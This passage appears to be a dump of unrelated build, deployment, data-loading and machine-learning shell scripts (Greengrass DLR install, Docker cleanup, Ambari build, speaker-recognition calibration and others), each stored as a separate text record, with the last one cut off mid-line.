"#!/bin/bash\n\necho -n \"Enter the name of a country: \"\nread COUNTRY\n\necho -n \"The official language of $COUNTRY is \"\n\ncase $COUNTRY in\n\n Lithuania)\n echo -n \"Lithuanian\"\n ;;\n\n Romania | Moldova)\n echo -n \"Romanian\"\n ;;\n\n Italy | \"San Marino\" | Switzerland | \"Vatican City\")\n echo -n \"Italian\"\n ;;\n\n *)\n echo -n \"unknown\"\n ;;\nesac"} {"text": "#!/bin/bash\nexec unicorn -nc \"$0\" \"$@\"\n!#\n\nimport scala.io.Source\nimport unicorn.json._\nimport unicorn.bigtable.rocksdb._\nimport unicorn.unibase._\nimport unicorn.unibase.graph._\n\ndef feat(graph: Graph, files: String*): Unit = {\n files.foreach { file =>\n val feats = new Array[String](20000)\n Source.fromFile(file + \".featnames\").getLines.foreach { line =>\n val feat = line.split(\" \", 2)\n feats(feat(0).toInt) = feat(1)\n }\n\n Source.fromFile(file + \".feat\").getLines.foreach { line =>\n val feat = line.split(\" \")\n val id = feat(0)\n\n if (!graph.contains(id)) {\n val data = JsObject()\n\n for (i <- 1 until feat.length) {\n if (feat(i) == \"1\") {\n val f = feats(i-1).split(\":\")\n if (f.length > 1) data(f(0)) = f(1)\n }\n }\n\n graph.addVertex(id, data)\n }\n }\n }\n}\n\ndef edges(graph: Graph, files: String*): Unit = {\n files.foreach { file =>\n Source.fromFile(file + \".edges\").getLines.foreach { line =>\n val edge = line.split(\" \")\n val source = edge(0)\n val target = edge(1)\n graph.addEdge(source, \"e\", target, JsNull)\n }\n }\n}\n\nval db = Unibase(RocksDB.create(\"/tmp/unicorn-gplus\"))\ndb.createGraph(\"gplus\")\nval gplus = db.graph(\"gplus\", new Snowflake(0))\n\nfeat(gplus, \"../../data/gplus/100129275726588145876\")\nfeat(gplus, \"../../data/gplus/100329698645326486178\")\nfeat(gplus, \"../../data/gplus/100466178325794757407\")\nfeat(gplus, \"../../data/gplus/100500197140377336562\")\nfeat(gplus, \"../../data/gplus/100518419853963396365\")\nfeat(gplus, \"../../data/gplus/100521671383026672718\")\nfeat(gplus, \"../../data/gplus/100535338638690515335\")\nfeat(gplus, \"../../data/gplus/100637660947564674695\")\nfeat(gplus, \"../../data/gplus/100668989009254813743\")\nfeat(gplus, \"../../data/gplus/100715738096376666180\")\nfeat(gplus, \"../../data/gplus/100720409235366385249\")\nfeat(gplus, \"../../data/gplus/100962871525684315897\")\nfeat(gplus, \"../../data/gplus/101130571432010257170\")\nfeat(gplus, \"../../data/gplus/101133961721621664586\")\nfeat(gplus, \"../../data/gplus/101185748996927059931\")\nfeat(gplus, \"../../data/gplus/101263615503715477581\")\nfeat(gplus, \"../../data/gplus/101373961279443806744\")\nfeat(gplus, \"../../data/gplus/101499880233887429402\")\nfeat(gplus, \"../../data/gplus/101541879642294398860\")\nfeat(gplus, \"../../data/gplus/101560853443212199687\")\nfeat(gplus, \"../../data/gplus/101626577406833098387\")\nfeat(gplus, \"../../data/gplus/101848191156408080085\")\nfeat(gplus, \"../../data/gplus/101997124338642780860\")\nfeat(gplus, \"../../data/gplus/102170431816592344972\")\nfeat(gplus, \"../../data/gplus/102340116189726655233\")\nfeat(gplus, \"../../data/gplus/102615863344410467759\")\nfeat(gplus, \"../../data/gplus/102778563580121606331\")\nfeat(gplus, \"../../data/gplus/103236949470535942612\")\nfeat(gplus, \"../../data/gplus/103241736833663734962\")\nfeat(gplus, \"../../data/gplus/103251633033550231172\")\nfeat(gplus, \"../../data/gplus/103338524411980406972\")\nfeat(gplus, \"../../data/gplus/103503116383846951534\")\nfeat(gplus, \"../../data/gplus/103537112468125883734\")\nfeat(gplus, \"../../data/gplus/103752943025677384806\")\nfeat(gplus, \"../../data/gplus/103892332449873403244\")\nfeat(gplus, \"../../data/gplus/104076158580173410325\")\nfeat(gplus, \"../../data/gplus/104105354262797387583\")\nfeat(gplus, \"../../data/gplus/104226133029319075907\")\nfeat(gplus, \"../../data/gplus/104290609881668164623\")\nfeat(gplus, \"../../data/gplus/104607825525972194062\")\nfeat(gplus, \"../../data/gplus/104672614700283598130\")\nfeat(gplus, \"../../data/gplus/104905626100400792399\")\nfeat(gplus, \"../../data/gplus/104917160754181459072\")\nfeat(gplus, \"../../data/gplus/104987932455782713675\")\nfeat(gplus, \"../../data/gplus/105565257978663183206\")\nfeat(gplus, \"../../data/gplus/105646458226420473639\")\nfeat(gplus, \"../../data/gplus/106186407539128840569\")\nfeat(gplus, \"../../data/gplus/106228758905254036967\")\nfeat(gplus, \"../../data/gplus/106328207304735502636\")\nfeat(gplus, \"../../data/gplus/106382433884876652170\")\nfeat(gplus, \"../../data/gplus/106417861423111072106\")\nfeat(gplus, \"../../data/gplus/106724181552911298818\")\nfeat(gplus, \"../../data/gplus/106837574755355833243\")\nfeat(gplus, \"../../data/gplus/107013688749125521109\")\nfeat(gplus, \"../../data/gplus/107040353898400532534\")\nfeat(gplus, \"../../data/gplus/107203023379915799071\")\nfeat(gplus, \"../../data/gplus/107223200089245371832\")\nfeat(gplus, \"../../data/gplus/107296660002634487593\")\nfeat(gplus, \"../../data/gplus/107362628080904735459\")\nfeat(gplus, \"../../data/gplus/107459220492917008623\")\nfeat(gplus, \"../../data/gplus/107489144252174167638\")\nfeat(gplus, \"../../data/gplus/107965826228461029730\")\nfeat(gplus, \"../../data/gplus/108156134340151350951\")\nfeat(gplus, \"../../data/gplus/108404515213153345305\")\nfeat(gplus, \"../../data/gplus/108541235642523883716\")\nfeat(gplus, \"../../data/gplus/108883879052307976051\")\nfeat(gplus, \"../../data/gplus/109130886479781915270\")\nfeat(gplus, \"../../data/gplus/109213135085178239952\")\nfeat(gplus, \"../../data/gplus/109327480479767108490\")\nfeat(gplus, \"../../data/gplus/109342148209917802565\")\nfeat(gplus, \"../../data/gplus/109596373340495798827\")\nfeat(gplus, \"../../data/gplus/109602109099036550366\")\nfeat(gplus, \"../../data/gplus/110232479818136355682\")\nfeat(gplus, \"../../data/gplus/110241952466097562819\")\nfeat(gplus, \"../../data/gplus/110538600381916983600\")\nfeat(gplus, \"../../data/gplus/110581012109008817546\")\nfeat(gplus, \"../../data/gplus/110614416163543421878\")\nfeat(gplus, \"../../data/gplus/110701307803962595019\")\nfeat(gplus, \"../../data/gplus/110739220927723360152\")\nfeat(gplus, \"../../data/gplus/110809308822849680310\")\nfeat(gplus, \"../../data/gplus/110971010308065250763\")\nfeat(gplus, \"../../data/gplus/111048918866742956374\")\nfeat(gplus, \"../../data/gplus/111058843129764709244\")\nfeat(gplus, \"../../data/gplus/111091089527727420853\")\nfeat(gplus, \"../../data/gplus/111213696402662884531\")\nfeat(gplus, \"../../data/gplus/111278293763545982455\")\nfeat(gplus, \"../../data/gplus/112317819390625199896\")\nfeat(gplus, \"../../data/gplus/112463391491520264813\")\nfeat(gplus, \"../../data/gplus/112573107772208475213\")\nfeat(gplus, \"../../data/gplus/112724573277710080670\")\nfeat(gplus, \"../../data/gplus/112737356589974073749\")\nfeat(gplus, \"../../data/gplus/112787435697866537461\")\nfeat(gplus, \"../../data/gplus/113112256846010263985\")\nfeat(gplus, \"../../data/gplus/113122049849685469495\")\nfeat(gplus, \"../../data/gplus/113171096418029011322\")\nfeat(gplus, \"../../data/gplus/113356364521839061717\")\nfeat(gplus, \"../../data/gplus/113455290791279442483\")\nfeat(gplus, \"../../data/gplus/113597493946570654755\")\nfeat(gplus, \"../../data/gplus/113718775944980638561\")\nfeat(gplus, \"../../data/gplus/113799277735885972934\")\nfeat(gplus, \"../../data/gplus/113881433443048137993\")\nfeat(gplus, \"../../data/gplus/114054672576929802335\")\nfeat(gplus, \"../../data/gplus/114104634069486127920\")\nfeat(gplus, \"../../data/gplus/114122960748905067938\")\nfeat(gplus, \"../../data/gplus/114124942936679476879\")\nfeat(gplus, \"../../data/gplus/114147483140782280818\")\nfeat(gplus, \"../../data/gplus/114336431216099933033\")\nfeat(gplus, \"../../data/gplus/115121555137256496805\")\nfeat(gplus, \"../../data/gplus/115273860520983542999\")\nfeat(gplus, \"../../data/gplus/115360471097759949621\")\nfeat(gplus, \"../../data/gplus/115455024457484679647\")\nfeat(gplus, \"../../data/gplus/115516333681138986628\")\nfeat(gplus, \"../../data/gplus/115573545440464933254\")\nfeat(gplus, \"../../data/gplus/115576988435396060952\")\nfeat(gplus, \"../../data/gplus/115625564993990145546\")\nfeat(gplus, \"../../data/gplus/116059998563577101552\")\nfeat(gplus, \"../../data/gplus/116247667398036716276\")\nfeat(gplus, \"../../data/gplus/116315897040732668413\")\nfeat(gplus, \"../../data/gplus/116450966137824114154\")\nfeat(gplus, \"../../data/gplus/116807883656585676940\")\nfeat(gplus, \"../../data/gplus/116825083494890429556\")\nfeat(gplus, \"../../data/gplus/116899029375914044550\")\nfeat(gplus, \"../../data/gplus/116931379084245069738\")\nfeat(gplus, \"../../data/gplus/117412175333096244275\")\nfeat(gplus, \"../../data/gplus/117503822947457399073\")\nfeat(gplus, \"../../data/gplus/117668392750579292609\")\nfeat(gplus, \"../../data/gplus/117734260411963901771\")\nfeat(gplus, \"../../data/gplus/117798157258572080176\")\nfeat(gplus, \"../../data/gplus/117866881767579360121\")\nfeat(gplus, \"../../data/gplus/118107045405823607895\")\nfeat(gplus, \"../../data/gplus/118255645714452180374\")\nfeat(gplus, \"../../data/gplus/118379821279745746467\")\n\nedges(gplus, \"../../data/gplus/100129275726588145876\")\nedges(gplus, \"../../data/gplus/100329698645326486178\")\nedges(gplus, \"../../data/gplus/100466178325794757407\")\nedges(gplus, \"../../data/gplus/100500197140377336562\")\nedges(gplus, \"../../data/gplus/100518419853963396365\")\nedges(gplus, \"../../data/gplus/100521671383026672718\")\nedges(gplus, \"../../data/gplus/100535338638690515335\")\nedges(gplus, \"../../data/gplus/100637660947564674695\")\nedges(gplus, \"../../data/gplus/100668989009254813743\")\nedges(gplus, \"../../data/gplus/100715738096376666180\")\nedges(gplus, \"../../data/gplus/100720409235366385249\")\nedges(gplus, \"../../data/gplus/100962871525684315897\")\nedges(gplus, \"../../data/gplus/101130571432010257170\")\nedges(gplus, \"../../data/gplus/101133961721621664586\")\nedges(gplus, \"../../data/gplus/101185748996927059931\")\nedges(gplus, \"../../data/gplus/101263615503715477581\")\nedges(gplus, \"../../data/gplus/101373961279443806744\")\nedges(gplus, \"../../data/gplus/101499880233887429402\")\nedges(gplus, \"../../data/gplus/101541879642294398860\")\nedges(gplus, \"../../data/gplus/101560853443212199687\")\nedges(gplus, \"../../data/gplus/101626577406833098387\")\nedges(gplus, \"../../data/gplus/101848191156408080085\")\nedges(gplus, \"../../data/gplus/101997124338642780860\")\nedges(gplus, \"../../data/gplus/102170431816592344972\")\nedges(gplus, \"../../data/gplus/102340116189726655233\")\nedges(gplus, \"../../data/gplus/102615863344410467759\")\nedges(gplus, \"../../data/gplus/102778563580121606331\")\nedges(gplus, \"../../data/gplus/103236949470535942612\")\nedges(gplus, \"../../data/gplus/103241736833663734962\")\nedges(gplus, \"../../data/gplus/103251633033550231172\")\nedges(gplus, \"../../data/gplus/103338524411980406972\")\nedges(gplus, \"../../data/gplus/103503116383846951534\")\nedges(gplus, \"../../data/gplus/103537112468125883734\")\nedges(gplus, \"../../data/gplus/103752943025677384806\")\nedges(gplus, \"../../data/gplus/103892332449873403244\")\nedges(gplus, \"../../data/gplus/104076158580173410325\")\nedges(gplus, \"../../data/gplus/104105354262797387583\")\nedges(gplus, \"../../data/gplus/104226133029319075907\")\nedges(gplus, \"../../data/gplus/104290609881668164623\")\nedges(gplus, \"../../data/gplus/104607825525972194062\")\nedges(gplus, \"../../data/gplus/104672614700283598130\")\nedges(gplus, \"../../data/gplus/104905626100400792399\")\nedges(gplus, \"../../data/gplus/104917160754181459072\")\nedges(gplus, \"../../data/gplus/104987932455782713675\")\nedges(gplus, \"../../data/gplus/105565257978663183206\")\nedges(gplus, \"../../data/gplus/105646458226420473639\")\nedges(gplus, \"../../data/gplus/106186407539128840569\")\nedges(gplus, \"../../data/gplus/106228758905254036967\")\nedges(gplus, \"../../data/gplus/106328207304735502636\")\nedges(gplus, \"../../data/gplus/106382433884876652170\")\nedges(gplus, \"../../data/gplus/106417861423111072106\")\nedges(gplus, \"../../data/gplus/106724181552911298818\")\nedges(gplus, \"../../data/gplus/106837574755355833243\")\nedges(gplus, \"../../data/gplus/107013688749125521109\")\nedges(gplus, \"../../data/gplus/107040353898400532534\")\nedges(gplus, \"../../data/gplus/107203023379915799071\")\nedges(gplus, \"../../data/gplus/107223200089245371832\")\nedges(gplus, \"../../data/gplus/107296660002634487593\")\nedges(gplus, \"../../data/gplus/107362628080904735459\")\nedges(gplus, \"../../data/gplus/107459220492917008623\")\nedges(gplus, \"../../data/gplus/107489144252174167638\")\nedges(gplus, \"../../data/gplus/107965826228461029730\")\nedges(gplus, \"../../data/gplus/108156134340151350951\")\nedges(gplus, \"../../data/gplus/108404515213153345305\")\nedges(gplus, \"../../data/gplus/108541235642523883716\")\nedges(gplus, \"../../data/gplus/108883879052307976051\")\nedges(gplus, \"../../data/gplus/109130886479781915270\")\nedges(gplus, \"../../data/gplus/109213135085178239952\")\nedges(gplus, \"../../data/gplus/109327480479767108490\")\nedges(gplus, \"../../data/gplus/109342148209917802565\")\nedges(gplus, \"../../data/gplus/109596373340495798827\")\nedges(gplus, \"../../data/gplus/109602109099036550366\")\nedges(gplus, \"../../data/gplus/110232479818136355682\")\nedges(gplus, \"../../data/gplus/110241952466097562819\")\nedges(gplus, \"../../data/gplus/110538600381916983600\")\nedges(gplus, \"../../data/gplus/110581012109008817546\")\nedges(gplus, \"../../data/gplus/110614416163543421878\")\nedges(gplus, \"../../data/gplus/110701307803962595019\")\nedges(gplus, \"../../data/gplus/110739220927723360152\")\nedges(gplus, \"../../data/gplus/110809308822849680310\")\nedges(gplus, \"../../data/gplus/110971010308065250763\")\nedges(gplus, \"../../data/gplus/111048918866742956374\")\nedges(gplus, \"../../data/gplus/111058843129764709244\")\nedges(gplus, \"../../data/gplus/111091089527727420853\")\nedges(gplus, \"../../data/gplus/111213696402662884531\")\nedges(gplus, \"../../data/gplus/111278293763545982455\")\nedges(gplus, \"../../data/gplus/112317819390625199896\")\nedges(gplus, \"../../data/gplus/112463391491520264813\")\nedges(gplus, \"../../data/gplus/112573107772208475213\")\nedges(gplus, \"../../data/gplus/112724573277710080670\")\nedges(gplus, \"../../data/gplus/112737356589974073749\")\nedges(gplus, \"../../data/gplus/112787435697866537461\")\nedges(gplus, \"../../data/gplus/113112256846010263985\")\nedges(gplus, \"../../data/gplus/113122049849685469495\")\nedges(gplus, \"../../data/gplus/113171096418029011322\")\nedges(gplus, \"../../data/gplus/113356364521839061717\")\nedges(gplus, \"../../data/gplus/113455290791279442483\")\nedges(gplus, \"../../data/gplus/113597493946570654755\")\nedges(gplus, \"../../data/gplus/113718775944980638561\")\nedges(gplus, \"../../data/gplus/113799277735885972934\")\nedges(gplus, \"../../data/gplus/113881433443048137993\")\nedges(gplus, \"../../data/gplus/114054672576929802335\")\nedges(gplus, \"../../data/gplus/114104634069486127920\")\nedges(gplus, \"../../data/gplus/114122960748905067938\")\nedges(gplus, \"../../data/gplus/114124942936679476879\")\nedges(gplus, \"../../data/gplus/114147483140782280818\")\nedges(gplus, \"../../data/gplus/114336431216099933033\")\nedges(gplus, \"../../data/gplus/115121555137256496805\")\nedges(gplus, \"../../data/gplus/115273860520983542999\")\nedges(gplus, \"../../data/gplus/115360471097759949621\")\nedges(gplus, \"../../data/gplus/115455024457484679647\")\nedges(gplus, \"../../data/gplus/115516333681138986628\")\nedges(gplus, \"../../data/gplus/115573545440464933254\")\nedges(gplus, \"../../data/gplus/115576988435396060952\")\nedges(gplus, \"../../data/gplus/115625564993990145546\")\nedges(gplus, \"../../data/gplus/116059998563577101552\")\nedges(gplus, \"../../data/gplus/116247667398036716276\")\nedges(gplus, \"../../data/gplus/116315897040732668413\")\nedges(gplus, \"../../data/gplus/116450966137824114154\")\nedges(gplus, \"../../data/gplus/116807883656585676940\")\nedges(gplus, \"../../data/gplus/116825083494890429556\")\nedges(gplus, \"../../data/gplus/116899029375914044550\")\nedges(gplus, \"../../data/gplus/116931379084245069738\")\nedges(gplus, \"../../data/gplus/117412175333096244275\")\nedges(gplus, \"../../data/gplus/117503822947457399073\")\nedges(gplus, \"../../data/gplus/117668392750579292609\")\nedges(gplus, \"../../data/gplus/117734260411963901771\")\nedges(gplus, \"../../data/gplus/117798157258572080176\")\nedges(gplus, \"../../data/gplus/117866881767579360121\")\nedges(gplus, \"../../data/gplus/118107045405823607895\")\nedges(gplus, \"../../data/gplus/118255645714452180374\")\nedges(gplus, \"../../data/gplus/118379821279745746467\")"} {"text": "/usr/bin/perl -w /usr/bin/sec -conf=/etc/sec.conf -input=/var/log/apache2/error.log -pid=/var/run/sec.pid -detach -syslog=daemon"} {"text": "<reponame>aws-greengrass/aws-greengrass-component-examples\n# Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.\n# SPDX-License-Identifier: Apache-2.0\n\n#!/bin/bash\n. $(dirname \"$0\")/utils.sh\n\nset -eux\n\nwhile getopts \":i:\" opt; do\n case ${opt} in\n i )\n use_installer=$OPTARG\n ;;\n \\? )\n echo \"Invalid option: $OPTARG\" 1>&2\n exit;;\n : )\n echo \"Invalid option: $OPTARG requires an argument\" 1>&2\n exit;;\n esac\ndone\n\nif [ \"$use_installer\" = true ]; then\n echo \"Running DLR install script...\";\nelse\n echo \"Skipping installation of component dependencies.\";\n exit 0;\nfi\n\nkernel=$(uname -s)\ndlr_version=\"1.6.0\"\nmin_py_version=\"3.0.0\"\ndlr_directory=\"neo-ai-dlr\"\nmin_kernel_version=\"4.9.9\"\nmin_pip_version=\"20.2.4\"\nmachine=$(uname -m)\npython_version=$(echo $(python3 --version) | cut -d' ' -f 2)\npip3_version=$(echo $(pip3 --version) | cut -d' ' -f 2)\njetson_device_chip=\"/sys/module/tegra_fuse/parameters/tegra_chip_id\"\n# Supported dlr pip wheels for different devices and dlr versions can be fount at\n# https://github.com/neo-ai/neo-ai-dlr/releases\ndlr_link=\"https://neo-ai-dlr-release.s3-us-west-2.amazonaws.com/v\"$dlr_version\n\ncase \"$kernel\" in\n\"Linux\")\n if check_dlr \"$machine\"; then\n echo \"Skipping DLR installation as it already exists.\"\n else\n if is_debian; then\n if [[ \"$machine\" == \"x86_64\" ]]; then\n install_python3_libraries\n echo \"Installing DLR...\"\n pip3 install dlr==\"$dlr_version\" --user\n elif [[ \"$machine\" == \"armv7l\" ]]; then\n install_python3_libraries\n echo \"Installing DLR...\"\n pip3 install $dlr_link\"/rasp3b/dlr-\"$dlr_version\"-py3-none-any.whl\" --user\n elif [[ \"$machine\" == \"aarch64\" ]]; then\n install_python3_libraries\n if [ -f \"$jetson_device_chip\" ]; then\n echo \"Installing DLR...\"\n pip3 install $dlr_link\"/jetpack4.4/dlr-\"$dlr_version\"-py3-none-any.whl\" --user\n else\n echo \"Installing DLR...\"\n pip3 install $dlr_link\"/rasp4b/dlr-\"$dlr_version\"-py3-none-any.whl\" --user\n fi\n fi\n elif is_centos; then\n if [[ \"$machine\" == \"x86_64\" ]]; then\n install_python3_libraries\n echo \"Installing DLR...\"\n pip3 install dlr==\"$dlr_version\" --user\n fi\n fi\n fi\n ;;\n\"Darwin\")\n if check_dlr \"$machine\"; then\n echo \"Skipping DLR installation as it already exists.\"\n else\n install_python3_libraries\n echo \"Installing DLR...\"\n pip3 install dlr==\"$dlr_version\" --user\n fi\n ;;\nesac"} {"text": "<filename>hooks/shell_expansion.sh\n#!/usr/bin/env bash\necho 'cat <<END_OF_TEXT' > temp.sh\ncat \"$1\" >> temp.sh\necho 'END_OF_TEXT' >> temp.sh\nsource temp.sh > \"$2\"\nrm -f temp.sh"} {"text": "#!/bin/bash\n\n# This will kill all Docker containers and then remove volumes for some of the containers used by tcapy\n# This will often be necessary to do when we are switching between test and product docker-compose\n\ndocker-compose rm -f mysql\ndocker-compose rm -f mongo\ndocker-compose rm -f redis\ndocker-compose rm -f memcached\ndocker-compose rm -f mysql\ndocker-compose rm -f celery\ndocker-compose rm -f gunicorn_tcapy\ndocker-compose rm -f gunicorn_tcapyboard nginx\n\ndocker-compose rm -v -f mysql\ndocker-compose rm -v -f mongo\ndocker-compose rm -v -f redis\ndocker-compose rm -v -f memcached\ndocker-compose rm -v -f mysql\ndocker-compose rm -v -f celery\ndocker-compose rm -v -f gunicorn_tcapy\ndocker-compose rm -v -f gunicorn_tcapyboard\ndocker-compose rm -v -f nginx\n\ndocker kill $(docker ps -q)"} {"text": "#!/usr/bin/env bash\n\nset -euo pipefail; [[ -z ${TRACE:-} ]] || set -x\n\nuser=${deployer_user:-srv}\nhome=${deployer_home:-/srv}\nuid=${deployer_uid:-10000}\n\ngoss -g - validate --format documentation <<-EOF\n\tuser:\n\t $user:\n\t exists: true\n\t home: $home\n\t uid: $uid\n\t groups:\n\t - $user\nEOF"} {"text": "<filename>deploy-book.sh<gh_stars>0\n#!/bin/bash\n\nset -eu\n\nrev=$(git rev-parse --short HEAD)\n\ncd _book\n\ngit init\ngit config user.name \"<NAME>\"\ngit config user.email \"<EMAIL>\"\ngit remote add upstream \"https://$GH_TOKEN@github.com/$TRAVIS_REPO_SLUG.git\"\ngit fetch upstream\ngit reset upstream/gh-pages\n\ntouch .\n\ngit add -A .\ngit commit -m \"update book at ${rev}\"\ngit push upstream HEAD:gh-pages"} {"text": "<gh_stars>0\ncd /slamdoom/tmp/orbslam2/\n./build.sh || exit 1\n\ncd /home/slam_data/pyORBSLAM2/src\n./build.sh || exit 1\n\n\nexport PYTHONPATH=/home/slam_data/pyORBSLAM2/src/build:$PYTHONPATH\ncd /home/slam_data/pyORBSLAM2/scripts\n#python3 test_slam_with_webcam.py\n#python3 temp.py"} {"text": "<reponame>IlyaFinkelshteyn/evlog\n#!/bin/bash\n\n# This script pushes the local image to dockerhub.\n# You must be a collaborator for this to work for you.\n# If you're running it locally, make sure you're logged in with the correct dockerhub account first.\n# If you're invoking this on CI, set the following environment variables:\n# 1. $CI: Must be true. Most CI environments already have this set by default.\n# 2. $DOCKER_USERNAME: Your dockerhub username.\n# 3. $DOCKER_PASSWORD: <PASSWORD>.\n\nif [ \"$CI\" = true ] ; then\n docker login -u $DOCKER_USERNAME -p $DOCKER_PASSWORD\nfi\n\ndocker push gldraphael/evlog\ndocker push gldraphael/evlog-self-contained"} {"text": "<filename>src/lib/sttp.net.lib/buildso.sh\n# Verify \"SWIG_LIB \" is defined\nif [[ -z \"$SWIG_LIB\" ]]; then\n echo 'The \"SWIG_LIB\" environmental variable not found, abroting compile.'\n exit\nfi\n\necho ' Compiling inpendendent debug version of \"libsttp.a\"...'\nmkdir -p bin/Debug\npushd bin/Debug\ncmake ../../../cppapi/src -DCMAKE_BUILD_TYPE=Debug -DCMAKE_POSITION_INDEPENDENT_CODE=ON -DCMAKE_CXX_FLAGS=\"-Wno-unknown-pragmas\"\nmake -j6\npopd\n\necho ' Compiling debug version of \"sttp.net.lib.so\"...'\nmkdir -p obj/Debug\ngcc -g -D SWIG -c -fPIC sttp.net.lib.cpp -o obj/Debug/sttp.net.lib.o\ngcc -g -shared obj/Debug/sttp.net.lib.o bin/Debug/Libraries/libsttp.a -o bin/Debug/sttp.net.lib.so\n\necho ' Compiling inpendendent release version of \"libsttp.a\"...'\nmkdir -p bin/Release\npushd bin/Release\ncmake ../../../cppapi/src -DCMAKE_POSITION_INDEPENDENT_CODE=ON -DCMAKE_CXX_FLAGS=\"-Wno-unknown-pragmas\"\nmake -j6\npopd\n\necho ' Compiling release version of \"sttp.net.lib.so\"...'\nmkdir -p obj/Release\ngcc -D SWIG -c -fPIC sttp.net.lib.cpp -o obj/Release/sttp.net.lib.o\ngcc -shared obj/Release/sttp.net.lib.o bin/Release/Libraries/libsttp.a -o bin/Release/sttp.net.lib.so\n\n# Copy resulting compiled \"sttp.net.lib.so\" files to target folders:\ncp bin/Debug/sttp.net.lib.so ../../../build/output/x64/Debug/lib\ncp bin/Release/sttp.net.lib.so ../../../build/output/x64/Release/lib"} {"text": "<reponame>texpomru13/espnet<gh_stars>1000+\nfor x in test_st dev_st train_st_sp; do\n utils/fix_data_dir.sh data/${x}\n utils/data/get_utt2dur.sh data/${x}\n awk 'BEGIN{SUM=0}{SUM+=$2}END{print SUM/3600}' data/${x}/utt2dur\ndone"} {"text": "<filename>bin/utils.sh\n#!/usr/bin/env bash\n\nexport compose_file=\"../docker-compose.yml\"\n\nfunction announce() {\n BLUE='\\033[0;34m'\n NC='\\033[0m' # No Color\n echo -e \"$BLUE\n ================================\n ${1}\n ================================\n $NC\"\n}\n\nexec_on() {\n local container=\"$1\"; shift\n\n docker exec \"$(docker-compose ps -q $container)\" \"$@\"\n}\n\noss_only(){\n [ \"$TEST_VERSION\" == \"oss\" ]\n}\n\nfunction teardown {\n docker-compose down -v\n}"} {"text": "#! /bin/bash\n\n#\n# Extra installation script\n#\n# See CK LICENSE.txt for licensing details.\n# See CK COPYRIGHT.txt for copyright details.\n#\n# Developer(s):\n# - <NAME>, <EMAIL>, 2018\n#\n\nmodule load EasyBuild\n\nck detect soft:compiler.gcc --extra_tags=veasybuild --extra_name=\"(easybuild)\" --search_dir=${EASYBUILD_PREFIX}/software"} {"text": "<filename>dev-support/build-ambari.sh<gh_stars>1000+\n#!/usr/bin/env bash\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\n# Clean up files from previous build to make sure there are no artifacts that would trigger rat failure.\npushd .\ncd $WORKSPACE\ngit clean -xdf\npopd\n\n# We stash node.js installation into this weird place\n# because on one hand we want it to be somewhere inside\n# the current workspace and on the other hand we don't\n# want RAT to be ran on files that comprise it. The following\n# location is excluded from RAT by default\nREPO_NAME=contrib/views/node.js/target\n\n[ -d \"$REPO_NAME\" ] && exit 0\n\nrm -rf $REPO_NAME\nmkdir -p $REPO_NAME.tmp\npushd $REPO_NAME.tmp\n curl --retry 3 --retry-delay 5 -k http://nodejs.org/dist/v4.5.0/node-v4.5.0-linux-x64.tar.gz | tar xzvf -\n mv node-v4.5.0-linux-x64/* .\n rmdir node-v4.5.0-linux-x64\npopd\nmv $REPO_NAME.tmp $REPO_NAME\n\nexport PATH=`pwd`/$REPO_NAME/bin:$PATH\nnpm install -g brunch@1.7.20\n\nexport _JAVA_OPTIONS=\"-Xmx2048m -Djava.awt.headless=true\"\nexport JAVA_HOME=/home/jenkins/tools/java/latest1.8\nexport MAVEN_HOME=/home/jenkins/tools/maven/latest\nexport PATH=$JAVA_HOME/bin:$MAVEN_HOME/bin:$PATH\nPATH=`pwd`/contrib/views/node.js/target/bin:$PATH\necho \"Checking Hudson Java\"\nls -l /home/hudson/tools/java\necho \"Checking Jenkins Java\"\nls -l /home/jenkins/tools/java\nwhich java\njava -version\npython -V\nuname -a\n\ncd $WORKSPACE\n$MAVEN_HOME/bin/mvn -fae clean install"} {"text": "#!/bin/bash\n# Copyright 2019 Johns Hopkins University (<NAME>) \n# Apache 2.0.\n#\n\nset -e\n\ncmd=run.pl\np_tel=0.05\nl2_reg=1e-4\nsre_weight=0.1\nextra_args=\"\"\nextra_tag=\"\"\n\nif [ -f path.sh ]; then . ./path.sh; fi\n. parse_options.sh || exit 1;\n\n\nif [ $# -ne 1 ]; then\n echo \"Usage: $0 <score-dir>\"\n exit 1;\nfi\n\nscore_dir=$1\ncal_score_dir=${score_dir}_cal_v1\nif [ -n \"$extra_tag\" ];then\n cal_score_dir=${cal_score_dir}_${extra_tag}\nfi\n\nmkdir -p $cal_score_dir\n\necho \"$0 train calibration v1 for $score_dir\"\nawk '{ print $1,NF-1}' \\\n data/sre16_eval40_yue_enroll/spk2utt \\\n > $cal_score_dir/sre16_nenr\n\nif [ -d data/sre_cts_superset_8k_dev ];then\n superset=sre_cts_superset_8k_dev\nelse\n superset=sre_cts_superset_16k_dev\nfi\n\nmodel_file=$cal_score_dir/cal_tel.h5\n$cmd $cal_score_dir/train_cal_tel.log \\\n hyp_utils/conda_env.sh \\\n steps_be/train-calibration-v1.py \\\n --score-file-sre16 $score_dir/sre16_eval40_yue_scores \\\n --score-file-sre $score_dir/sre_cts_superset_dev_scores \\\n --score-file-sre21 $score_dir/sre21_audio_dev_scores \\\n --key-file-sre16 data/sre16_eval40_yue_test/trials \\\n --key-file-sre data/$superset/trials \\\n --key-file-sre21 data/sre21_audio_dev_test/trials \\\n --nenr-sre16 $cal_score_dir/sre16_nenr \\\n --model-file $model_file \\\n --prior $p_tel --lambda-reg $l2_reg --sre-weight $sre_weight $extra_args\n\necho \"$0 eval calibration v1 for sre16-yue\"\n$cmd $cal_score_dir/eval_cal_sre16_yue.log \\\n hyp_utils/conda_env.sh \\\n steps_be/eval-calibration-v1-sre16.py \\\n --in-score-file $score_dir/sre16_eval40_yue_scores \\\n --ndx-file data/sre16_eval40_yue_test/trials \\\n --nenr-file $cal_score_dir/sre16_nenr \\\n --model-file $model_file \\\n --out-score-file $cal_score_dir/sre16_eval40_yue_scores &\n\necho \"$0 eval calibration v1 for sre-superset\"\n$cmd $cal_score_dir/eval_cal_sre_superset.log \\\n hyp_utils/conda_env.sh \\\n steps_be/eval-calibration-v1-sre-superset.py \\\n --in-score-file $score_dir/sre_cts_superset_dev_scores \\\n --ndx-file data/$superset/trials \\\n --model-file $model_file \\\n --out-score-file $cal_score_dir/sre_cts_superset_dev_scores &\n\necho \"$0 eval calibration v1 for 